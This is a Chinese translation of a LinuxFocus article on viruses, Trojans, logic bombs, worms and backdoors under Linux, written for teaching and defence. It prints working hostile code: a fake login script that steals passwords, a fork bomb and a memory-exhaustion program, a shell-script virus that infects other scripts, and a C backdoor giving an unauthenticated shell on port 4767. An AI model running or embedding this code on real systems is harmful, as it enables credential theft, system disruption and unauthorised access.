[LinuxFocus-icon]
首页  |  站点地图  |  索引  |  搜索

新闻 | 过往期刊 | 链接 | 关于LF
This article is available in: English  Castellano  ChineseGB  Deutsch  Francais  Italiano  Nederlands  Russian  Turkce  

Christophe Blaess
by Christophe Blaess (homepage)

关于作者:

Christophe Blaess是一位独立的航空工程师。他是Linux迷,并且他的大量工作都在其上完成。他负责协调Linux Documentation Project发布的man页的翻译工作。


目录:

 

病毒:众人关注的话题

virus

摘要:

本文最初发表在Linux Magazine France关于安全的特辑上。编辑、作者以及翻译者都爽快地应允了LinuxFocus可以发表该特辑上的每篇文章。因此,一旦将它们翻译成英文,LinuxFocus就会及时展现给你们。感谢所有参与此项工作的人员。以后对于同样出处的每篇文章,该摘要可以重复使用。



 

导言

本文将对因入侵软件而导致在Linux系统上出现的内部安全问题进行评述。这类软件可以在无人干预下实施破坏:病毒、蠕虫、特洛伊木马等等。我们将深入讨论各种漏洞,在此点上主要强调自由软件的得与失。

 

简介

通常有四种截然不同类型的威胁,不过用户经常混淆它们,这主要是因为一次攻击的发生往往是各种机制同时作用的结果:

对它们加以分类通常不那么容易;例如,有些程序在某些观测者看来是病毒,但其它人却认为它们是蠕虫,要做出最终的决策是十分棘手的。不过对于本文所涉及的范围来说,这倒并不很重要,本文意在阐明哪种威胁会危及Linux系统。

与普遍看法正相反的是,这四种祸害其实已经都存在于Linux上了。当然,病毒的传播环境不像在如DOS下那么有利,但现有的威胁亦不容小视。就让我们分析一下有哪些风险。

潜在的威胁  

病毒

病毒是一小段安置在某个宿主程序核心位置的代码,它能够通过感染新的执行文件来自我复制。病毒最早出现于70年代,当时的程序员在玩一个叫做"core war"的游戏。这个游戏来自于Bell AT&T laboratories[MARSDEN 00]。其目标是在有限的内存区域里并行运行,小程序能够互相破坏。操作系统没有提供程序内存区域之间的保护,这样就允许相互进攻以消灭对手。为此,有些人使用'0'来“轰炸”最大可能的内存区域,与此同时,其它一些人永远在地址空间中移动,希望覆盖掉对手的代码,有时,他们中的一些会联合起来消灭某个难对付的“敌人”。

实现该游戏的算法被翻译成一门特别为其创建的汇编语言“red code”,它通过绝大多数现有机器上的仿真器来执行。游戏中的乐趣更多源于科学的好奇,就如对the Life of Conway Game,不规则碎片形和遗传算法等的狂热一样。

不过,随着关于core war的文章发表在Scientific American[DEWDNEY 84]上,不可避免的事发生了,有些人开始编写小段的自我复制的代码,这些代码特别针对于软驱启动扇区或者可执行文件。起初是在Apple ][计算机上出现,接下来就到了MacIntosh和PC的计算机上。

MS DOS操作系统成为了病毒繁殖环境的绝佳之选:静态可执行文件有着众所周知的格式,没有内存保护,没有基于文件存取权限的安全设置,广泛地在内存中堆叠使用TSR常驻程序,等等。我们必须还加上一条用户心理状态的因素,他们疯狂地用软盘交换可执行程序甚而毫不考虑文件的来源。

在最简单的模式中,病毒就是一小段代码,它可以在启动一项应用程序时作为附件执行。它将利用这段时间来查找其它尚未感染的可执行文件,将其自身内嵌入这些文件中(要是考虑再周到一些,最好保持原程序不作修改)并退出。一旦启动新的可执行文件时,进程即会重新启动。

得益于大量“利器”的协助,病毒可以自动复制自身。在[LUDWIG 91]和[LUDWIG 93]中,有关于for DOS病毒的详细描述,它们使用诡秘的隐身术以保持领先于当前的杀毒软件:随机加密,代码永久变化等等。你甚至可能遇到使用遗传算法来优化其生存期和繁殖能力的病毒。相关的信息你可以在以下这篇非常著名的文档中找到:[SPAFFORD 94].

而我们必须牢记于心的是计算机病毒已经超越了虚拟生活中试验的主题范围,它可以造成大面积的损害。一小段代码的多重复制本质不过是空间的浪费(磁盘和内存),而病毒则可以此作为支撑——运输工具——来服务于其它更加令人不快的东西:逻辑炸弹,我们将在特洛伊木马中再次谈到它。

 

特洛伊木马和逻辑炸弹

Timeo Danaos et dona ferentes - 即便当希腊人送礼时,我也惧怕他们。 (Virgile, Aeneid,II, 49)。

被围困的特洛伊人作了一个糟糕的决定,他们将大量被希腊攻击者作为宗教祭品而遗弃的木马雕像放进了城。真正的突击队就藏在特洛伊木马的侧部,待到他们一旦渗入城内,便利用夜幕掩护从里面攻击城池,这样使得希腊人最终赢得了特洛伊战争的胜利。

著名的“特洛伊木马”常被用作计算机安全领域的专门术语,它表示一个看似无害的应用程序,就如上面提到的病毒一样,传播破坏性的代码逻辑炸弹

逻辑炸弹是一段恶意伤害的程序,它具备各种迥异的效力:

在某些情况下,逻辑炸弹会针对特定的目标系统来编写,以试图窃取其上的机密信息,破坏特殊文件或者盗用用户身份识别去毁损其名誉。同样的炸弹在任何其他类型的系统上则是无害的。

逻辑炸弹也可以试图在物理上破坏其驻留的系统。这种可能性虽然不大,但是确实存在(删除CMOS存储器内容,修改modem闪存内容,打印机、绘图仪、扫描仪的头部毁灭性的移动,硬盘读磁头的加速运转...)

倘若继续按照“炸弹”的比喻描述,我们可以说逻辑炸弹需要雷管来引爆。实际上,就效率而言,特洛伊木马或病毒在首次启动时就执行破坏性的操作是一个不好的策略。在安装了逻辑炸弹之后,最好是等待一会再爆炸。对于病毒传播来说,这可以增加其在其它系统中传播的“机会”;而就特洛伊木马来说,则可以不让用户太容易发现新的应用程序安装与他机器上的异常现象之间的联系。

就像任何害人之举一样,发作机制也是各有不同:安装后延迟十天,删除特定用户帐号(临时删除),键盘和鼠标停止活动30分钟,打印机队列的高负载...无所不缺!最有名的特洛伊木马是屏幕保护程序,尽管今天看来这有点太老套。在诱人的外表下,这些程序能够不受干扰地实施破坏,特别是如果逻辑炸弹恰在一小时之后引爆,那么几乎可以肯定用户此时已经不在计算机前面了。

另一个特洛伊木马的著名例子是下面这个脚本,它显示一个登录/密码(login/password)屏幕,并发送信息给启动程序的人然后退出。若它工作于未使用的终端,该脚本将会俘获下个尝试连接的用户的密码。

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

为使之在完成以后断开连接,它必须用shell命令exec启动。当受害者看到"Login incorrect"消息时,会以为自己输入错误,他们会以常规的方法尝试再次连接。更为高级的版本能够模拟X11连接对话框。为了避免落入这种圈套,最好是先在终端上使用一个错误的登录/密码(这种方法反其道而行之,十分容易而且很快就能学会)。

 

蠕虫

Paul发现自己在Worm之上,欢呼雀跃,就像一位君主主宰了整个宇宙。(F. Herbert "Dune")

"Worms"出自于与病毒一样的原理。它们是一种尝试复制自身以尽可能传播得最广的程序。它们也可以携带一枚装备了延迟触发器的逻辑炸弹,尽管这并非其主要功能。蠕虫与病毒的差别在于蠕虫不使用宿主程序作为传播媒介,它们试图得益于由网络提供的功能,例如电子邮件来从一台机器传到另一台机器。

蠕虫的技术等级相当高;它们利用提供网络服务的软件的漏洞来促使其在远程机器上自我复制。其原型是1988"Internet Worm"。

Internet Worm是一个纯蠕虫的例子,没有包含逻辑炸弹,不过其不露声色的破坏效果十分可怕。你可以在[KEHOE 92]上找到对其简短而精到的描述,或者在[SPAFFORD 88][EICHIN 89]上找到详细的分析报告。

简而言之,蠕虫程序的作者是Robert Morris Jr,他当时是Cornell大学的学生,并已经因为一篇关于网络协议中的安全问题的文章[MORRIS 85]而小有名气。他便是在NCSC(NSA的分支部门)因计算机安全而被指控的那个人。程序是在1988年11月2日傍晚发布的,并且导致连接到Internet上的绝大多数系统停止运行。它的工作步骤如下:

  1. 一旦渗透进入计算机,蠕虫就尝试传入网络。为了获取地址,它读取系统文件并调用工具程序如netstat来提供关于网络接口的信息。
  2. 接下来,它试图获得用户帐号。为此,它拿字典内容与密码文件作比较。同时,它尝试使用用户名字的组合(反向,重复等等)作为密码。这一步会要借助于系统的第一个漏洞:密码加密在一个可读的文件(/etc/passwd)中,这样便可以从某些用户对密码的糟糕选择中获益。第一个漏洞现在已经通过使用shadow passwords获得解决。
  3. 如果成功地获得了用户的帐号,蠕虫会试图找出那些提供直接访问而无需身份鉴定的机器,也就是使用~/.rhost/etc/hosts.equiv文件。在那种情况下,再使用rsh来在远程机器上执行指令。这样,就能将其自身复制到新的主机上并且循环再次开始。
  4. 否则的话,就使用第二个系统漏洞来进入其它机器:fingerd缓存溢出漏洞。(检查我们关于安全编程的系列文章:Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows。)
    这个缺陷允许了远程代码执行。然后蠕虫能够复制自身到新的系统上并再次开始。实际上,这只在某些类型的处理器上有效。
  5. 最后,使用第三个漏洞:一个调试选项,它默认地在sendmail守护进程中激活,允许邮件发送最终传输的内容到程序指定作为目标的标准输出上。该选项在运行机器上应该永远不被激活,但是,不幸地是,绝大多数系统管理员忽视了它的存在。

我们应注意的是一旦蠕虫能够在远程机器上执行一些指令,那么复制自身的方法是相当复杂的。它需要传输一个小的C程序,在现场重新编译,然后启动。接着,它建立一条TCP/IP连接来启动计算机并取回所有蠕虫的二进制程序代码。那些最终的和预编译的蠕虫代码现存于各种体系结构(Vax和Sun),而且相继都作了测试。此外,蠕虫非常善于隐藏自身,这让你无迹可寻。

不幸地是,阻止计算机感染蠕虫的机制并非总能如愿地起作用,而且不包含逻辑炸弹的Internet 88蠕虫的害处就在于导致所感染系统的极度过载(特别是对邮件的阻塞,这引起邮件提交的延迟)。

蠕虫的作者曾经在监狱中呆过一段时间。

由于其复杂性,蠕虫相对要稀少一些。一定不要将它们与别的类型的威胁,像作为电子邮件附件传输的病毒如著名的"ILoveYou"相混淆。那些都是十分简单的,它们不过是用宏编写的(在Basic中)可执行程序以在阅读邮件时自动启动。这只对某些操作系统有效,例如当邮件阅读器配置得太简单时。这些程序更像特洛伊木马,而非蠕虫,因为它们都要求用户的操作来启动程序。

 

后门程序

可以拿后门程序与特洛伊木马作比较,不过它们并不相同。一个后门程序允许(“高级”)用户操作软件来修改其行为。它可与游戏中用来获取更多资源,或达到更高级别等目标的欺骗代码相提并论。只是这也同样适用于关键的应用程序,如连接认证程序或电子邮件,因为它们可以对密码进行隐藏访问,该密码仅有软件的创建者知晓。

程序员希望减轻调试阶段的工作,因此常常留有一个小的后门开放以使之能够无需经过认证机制而直接使用软件,即使当应用程序已经安装在客户端时也是如此。有时它们使用默认密码(system,admin, superuser等等)是正式的访问设置,不过这些密码并没有在文档中仔细记载,结果管理员仍旧让其开着。

记得不同的隐藏的访问入口是在"Wargame"电影中才允许放在和系统内核一起讨论的,不过你也可以找到关于此类实践的更早报道。在一篇难以置信的文章[THOMPSON 84]中,Unix之父其中的一位Ken Thompson描述了他于数年前在Unix系统上实现的隐藏的访问入口:

怎样解决这个问题?咳,毫无办法!唯一的方法就是使用一个全新的系统重新启动。除非你在安装机器时从头创建所有的微代码,操作系统,编译器,实用工具,否则你无法确定每个应用程序都是干净的,即使是那些有源码的程序。

 

那么,Linux怎么样?

我们呈现了任何系统上的主要风险。现在,让我们来看看与自由软件和Linux相关的威胁。

 

逻辑炸弹

首先,让我们看看当逻辑炸弹在Linux机器上执行时能带来怎样的危害。显而易见,这依赖于所希望达到的效果和启动它的用户身份的特权。

至于论及系统文件的损坏或者机密数据的读取,我们会有两种情形。如果炸弹以root身份执行,它会拥有在机器上的最高权力,包括删除每个分区以至如上面所提到的一样给硬件造成永久的伤害。如果它是在任何其它用户身份下启动,那么它所造成的破坏不会超出用户的权限之外。它只能破坏属于该用户的数据。在此种情形下,每个人管理他自己的文件。一个尽职的系统管理员以root身份只运行很少的任务,这样可以减少在该账号下启动逻辑炸弹的可能性。

Linux系统在私有数据和硬件存取的保护上做得相当不错,不过它对于那些采用耗尽大量资源以使系统无法工作的攻击敏感。例如,以下的C程序就很难停下来,即使是以普通用户启动也如此,这样,如果用户使用的进程数没有限制,它会“吃尽”进程表中所有的可用条目并阻止任何连接尝试杀死它:

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}

你可以对用户实施的限制(使用setrlimit()系统调用和shellulimit函数)能缩短此类程序的寿命,但是它们只在经过一段时间后才起作用,在此期间内,系统是无法到达的。

还是同样的原因,如下的程序耗尽所有可用的内存并循环运行“吃掉”CPU周期,这给其它进程造成极大的干扰。

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

通常该程序可以通过最新内核的发布版本中的虚拟内存管理机制来自动杀死。不过在此之前,杀死其它任务的内核需要大量的内存和短暂的停止活动(例如X11应用程序)。此外,所有其它需要内存的进程无法得到满足,这常常会导致它们终止运行。

搅乱网络部件运行也很容易,可以使用不断的连接请求来使相应的端口过载。避免它的方法是有,不过它们通常要由管理员来执行。由此,我们会注意到在Linux下,即便由普通用户启动的逻辑炸弹破坏不了不属于他的文件,但它还是十分讨厌。将一些fork(),malloc()connect()组合起来运行足以对系统和网络服务带来沉重的压力。

 

病毒

主题:Unix病毒

你接收到Unix病毒。

本病毒依照协作原则工作:

如果你使用Linux或者Unix,请将此邮件转发给你的朋友并随机地破坏你系统上的一些文件。

撇开那个普遍的看法不论,病毒确是Linux下的一项威胁。各种类型的病毒都有。在Linux下病毒找不到传播的有益土壤,这倒是没错的。首先,让我们看看病毒在机器上滋生的阶段。病毒代码必须在此执行。这意味着一个被侵蚀的可执行文件从其它机器复制过来了。在Linux世界中,提供一个应用程序给某人的常规做法是给他软件所在的URL,而不是发给他执行文件。这意味着来自官方站点的病毒很快就能侦测到。一旦机器被感染而传播病毒,它仍将用作预编译应用程序的发布平台,这是极为罕见的。实际上,对于自由软件世界中的逻辑炸弹而言,可执行文件并非好的传输介质。

至于提到在机器内部的传播,很明显,一个被侵蚀的应用程序只能传染给运行该程序的用户具有写权限的文件。只在完成那些确实需要特权的操作时才以root身份工作的聪明的管理员不大可能在连接到此身份下时运行新的软件。除了安装Set-UID root应用程序时会感染病毒之外,风险可以大大减小。当普通用户将要运行一个被感染的程序时,病毒只会作用于属于该用户的文件,这可以防止其感染系统实用程序。

倘若说很长时间内Unix下的病毒被视作乌托邦的话,那也是因为处理器(之后是汇编语言)和库文件(之后是对象引用)的多样性限制了预编译代码的作用范围。今天则并非如此,一个感染i386处理器Linux的用Glibc 2.1编译的ELF文件的病毒会找到许多目标。除此之外,病毒编写的语言独立于执行它的主机。比如说,这儿有一个针对shell scripts的病毒。它试图侵入其启动目录下每个shell脚本。为了避免多次感染同一脚本,病毒忽略在第二行有注释“infectd”或“vaccinated”的文件。

#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Let's try to read a first line,
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

病毒并不关心隐藏自身或其操作,除非它是在后台执行而让原始脚本来完成它的常规工作。当然,不要以root身份运行该脚本!特别是如果你用find .替换了find /。这个程序不仅简洁,而且它很容易放任其控制,特别是如果系统包含大量定制的shell脚本。

表1中含有Linux下知名病毒的相关信息。通过在文件头插入其代码并返回原始代码的剩余部分,它们都可感染ELF可执行文件。除非告知,否则它们会在系统目录下查找潜在的目标。从此表中,你可以注意到在Linux下的病毒即使没有太多告警,也见不着其显山露水,主要是因为目前为止病毒都是无害的。

Table 1 - Linux下的病毒
名称 逻辑炸弹 备注
Bliss 表面无活动 如果调用选项--bliss-disinfect-files-please,可自动消除对可执行文件的感染。
Diesel  
Kagob 使用临时文件来执行已感染的原始程序
Satyr  
Vit4096 只感染当前目录的文件。
Winter 病毒代码为341字节。只感染当前目录中的文件。
Winux 该病毒有两种不同代码,可分别用来感染Windows文件和Elf Linux文件。不过它不能探测除了自身所在分区之外的其它分区,这减少了其传播的机率。
ZipWorm 在其发现的Zip文件中插入一关于Linux和Windows的“诱饵(troll)”文本。(“troll”=瑞典神话中的一种小矮人(译者注:爱恶作剧而态度友好的侏儒))  

你会注意到“Winux”病毒既能够在Windows也能在Linux下传播。它是一种无害的病毒,与其说是一种实际危险,不如说是一种可能性的验证。不过,当你想到这样的一个入侵者能够从一个分区跳到另一个分区,使用Samba服务器入侵不同类型的网络等等,你就会对这种设计感到不寒而栗了。要想连根铲除是一件很痛苦的事情,因为需求的工具必须可同时用于两类系统。应予重视的是,如果Linux分区可以由运行于Windows下的病毒访问的话,那么Linux用来阻止在普通用户身份下运行的病毒破坏系统文件的保护机制就形同虚设了。

让我们强调这一点:如果你从最终的多平台病毒驻留的Windows分区重新启动机器,那么你在Linux下所做的每项防范管理都是毫无用处的。对于每台使用双引导启动两个操作系统的机器而言这都是个问题;整体的保护完全依赖于最脆弱的那个系统的安全机制而定!唯一的解决方法是使用加密的文件系统来阻止任何Windows应用程序访问Linux分区。这种病毒尚未广为传播,不过我打赌说攻击未挂载分区的病毒将很快成为Linux机器上重大威胁的代表。

 

特洛伊木马

特洛伊木马和病毒一样可怕,人们似乎对它更为警惕。与通过病毒传播的逻辑炸弹不同,在特洛伊木马中发现的逻辑炸弹都是人们有意插入的。在自由软件世界中,从一小段代码的作者到最终的用户都会受到一个或两个协调者(比如说项目的负责人和发布版本的筹备人)的约束。如果发现了特洛伊木马,那么很容易抓到“罪犯”。

自由软件因而可以十分有效地防范特洛伊木马。但是我们讨论的自由软件,正如我们今天所知道的,是指那些具备项目管理,善于接纳的开发者和相关web站点的软件。这与共享软件免费软件大有不同,这些软件都是预编译好的,以一种无政府的方式由上百个web站点发布(或者通过杂志附带的CD发布),其作者只能通过一个很容易伪造的e-mail地址而获悉;这些都使得特洛伊木马可以可靠地生存。

我们应注意到这样一个事实,拥有应用程序的源代码且进行编译并不能作为安全的保证。例如,有害的逻辑炸弹可以隐藏在"configure"脚本中(在运行"./configure; make"时调用),而这样的脚本通常会有大约2000行长!最起码但并非最足够的保证,应用程序的源代码应是干净的并能编译;不过这还是无法阻止Makefile隐藏逻辑炸弹,并在最后运行"make install"时激活自身,而这通常正是以root身份运行的!

最后,病毒和特洛伊木马在Windows下作祟的一个重要部分是涉及文档时的宏执行。在Linux下的工作程序包是不能解析这些宏的,至少目前为止是这样,用户短时间能得到一种言过其实的安全感。到某个时候,这些工具会能够执行包括在文档中的Basic宏。设计者让这些宏在系统上运行命令迟早会被证明是个糟糕的主意。当然,对于病毒,破坏的效应会受到用户特权的限制,但是可靠系统文件(至少安装CD上还有)的事实对于那些刚刚丢失了他的文档、源文件和邮件而备份又是一个月之前的用户来说,不会带来多少安慰。

在结束关于数据中特洛伊木马的这个部分之时,我们应注意到:总是有方法来烦扰用户的,即使不是有害的,即使有些文件还需要解释。在Usenet上,你可以看到,不时地压缩文件会自我繁殖为大量文件直到达到磁盘的饱和。有些Postscript文件也能够阻塞解释程序(ghostscriptgv)而消耗CPU时间周期。这些并没有危害,不过它们让用户用时无法保证而且扰人不浅。

 

蠕虫

在1988 Internet蠕虫问世之时,还没有Linux存在;Linux本应成为这种攻击的最佳选择,但自由软件源代码的存在使得搜索漏洞变得非常容易(例如,缓冲区溢出)。编写一个“高质量”蠕虫的复杂性减少了那些在Linux下真正活跃的人数。表2介绍了一些蠕虫,它们都是传播甚广的。

蠕虫可以利用网络服务器的漏洞。对于偶尔连接到Internet的工作站而言,理论上风险要小于一直连接的服务器。不过,为家庭用户提供的接入类型(Cable,SDL等等)的发展以及目前网络服务(HTTP服务器,匿名FTP等)的易实现性意味着它很快会成为人人所关注的目标。

表2 - Linux下的蠕虫
名称 攻击的漏洞 备注
Lion (1i0n) bind 在入侵的机器上安装后门程序(TCP port 10008)和root-kit。发送系统信息给一个在中国的email地址。
Ramen lpr, nfs, wu-ftpd 修改它所找到的index.html文件
Adore (Red Worm) bind, lpr, rpc, wu-ftpd 在系统上安装后门程序并发送系统信息到在中国和美国的email地址。安装一个ps的修改版本来隐藏其进程。
Cheese 和Lion类似 该蠕虫是一个正派程序,是用来检查和删除被Lion开放的后门的。

关于蠕虫,我们应注意到它们的传播受到时间的限制。它们只在从一个系统复制到另一系统时是“活着的”,而且因为其依赖于最新发现的漏洞,目标应用程序的迅速升级可以停止它们的传播。在不久的将来,家用系统可能会自动查询相关的web站点(每天)——这需要信任——以在此查找系统应用程序的安全补丁。这对于避免用户全天以系统管理员身份工作并使之能协助执行网络应用程序来说很有必要。

 

后门程序

后门程序的问题相当严重,即使对于自由软件也是如此。当然,因为有了程序的源代码,理论上你可以检查它做了什么。实际上,很少有人能够读懂从Internet上下载的档案文件内容。例如,下面的小程序提供了一个完整的后门程序,可是其容量小到可以隐藏于一个足够大的应用程序中。该程序引自我的书[BLAESS 00],用于举例说明伪终端的机制。该程序不是很好读,因为它取消了注释以使之更短。绝大多数错误检查也因同样的原因被去除了。当执行时,它在该机器的每个网络接口的程序开头指定的端口(默认为4767)上打开一个TCP/IP服务器。每条请求到此端口的连接会自动访问一个shell而无任何身份鉴别!!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

插入这样的一段代码到庞大的应用程序(例如sendmail)会隐藏上足够长的时间来进行肮脏的渗透。此外,有些人在隐藏小段代码运行的技巧上是老手,像每年在IOCC(International Obsfucated C Code Contest)竞赛中提交的程序就能作为佐证。

不应认为后门程序仅是理论上的可能。这类困难确的确已经遭遇过,例如在Red-Hat 6.2发布版本中的Piranha程序包就能接收默认密码。Quake 2程序同样也怀疑隐藏了后门程序以允许远程执行命令。

后门程序的机制也可以将其自身隐藏于非常复杂的外表环境中以至于对于绝大多数的人来说是探测不到的。一个典型的例子就是关于加密系统的后门程序。例如,在工作的SE-Linux系统是一个使用了由NSA提供的补丁增强安全的Linux版本。检查了所提供的补丁的Linux开发者说它没有什么值得怀疑,但是谁也不能确信,何况很少有人能有足够的数学知识来发现此种漏洞。

 

结论

探究这些在Gnu/Linux世界中发现的有害程序使我们得到如下结论:自由软件无法抵御病毒,蠕虫,特洛伊木马或者其它之类的!不要过于草率,必须注意关于当前应用程序的安全警告,特别是当工作站是频繁连接到Internet时。现在形成好的习惯是很重要的:一旦发现漏洞,就立即升级软件;只使用所需求的网络服务;从可信任的web站点下载应用程序;对于下载的包尽可能经常地检查PGP或者MD5签名。最“严肃的”人会使对于安装应用程序的控制自动化,例如使用脚本。

第二条应注意的:未来Linux系统的两项主要危险一是工作应用程序盲目地解析包含在文档(包括电子邮件)中的宏,二是多平台病毒,它们即使在Windows下执行,也能侵入同一台机器上在Linux分区所找到的可执行文件。如果说第一个问题取决于用户的行为,他们应该不允许工作应用程序接受任何东西,那么第二个问题就是相当难以解决的,即使对于尽职的管理员也是如此。在很近的将来,必须将强大的病毒探测器应用于连接到Internet的Linux工作站;让我们期待这类项目会在自由软件世界中很快出现。  

参考书目

关于病毒,特洛伊木马和其它软件威胁的文档的数目是个十分重要的指标;有许多谈论目前病毒的运行方式和执行结果的文章。当然,绝大多数的列表是关于Dos/Windows的,但是也有一些与Linux相关。这儿提到的文档都是非常经典的,而且分析了理论上的实现机制。

 

对这篇文章发表评论

每篇文章都有各自的反馈页面。在这个页面里,您可以提交评论,也可以查看其他读者的评论:
 反馈页面 

主页由LinuxFocus编辑组维护
© Christophe Blaess, FDL
LinuxFocus.org

点击这里向LinuxFocus报告错误或提出意见
翻译信息:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>

2002-10-31, generated by lfparser version 2.25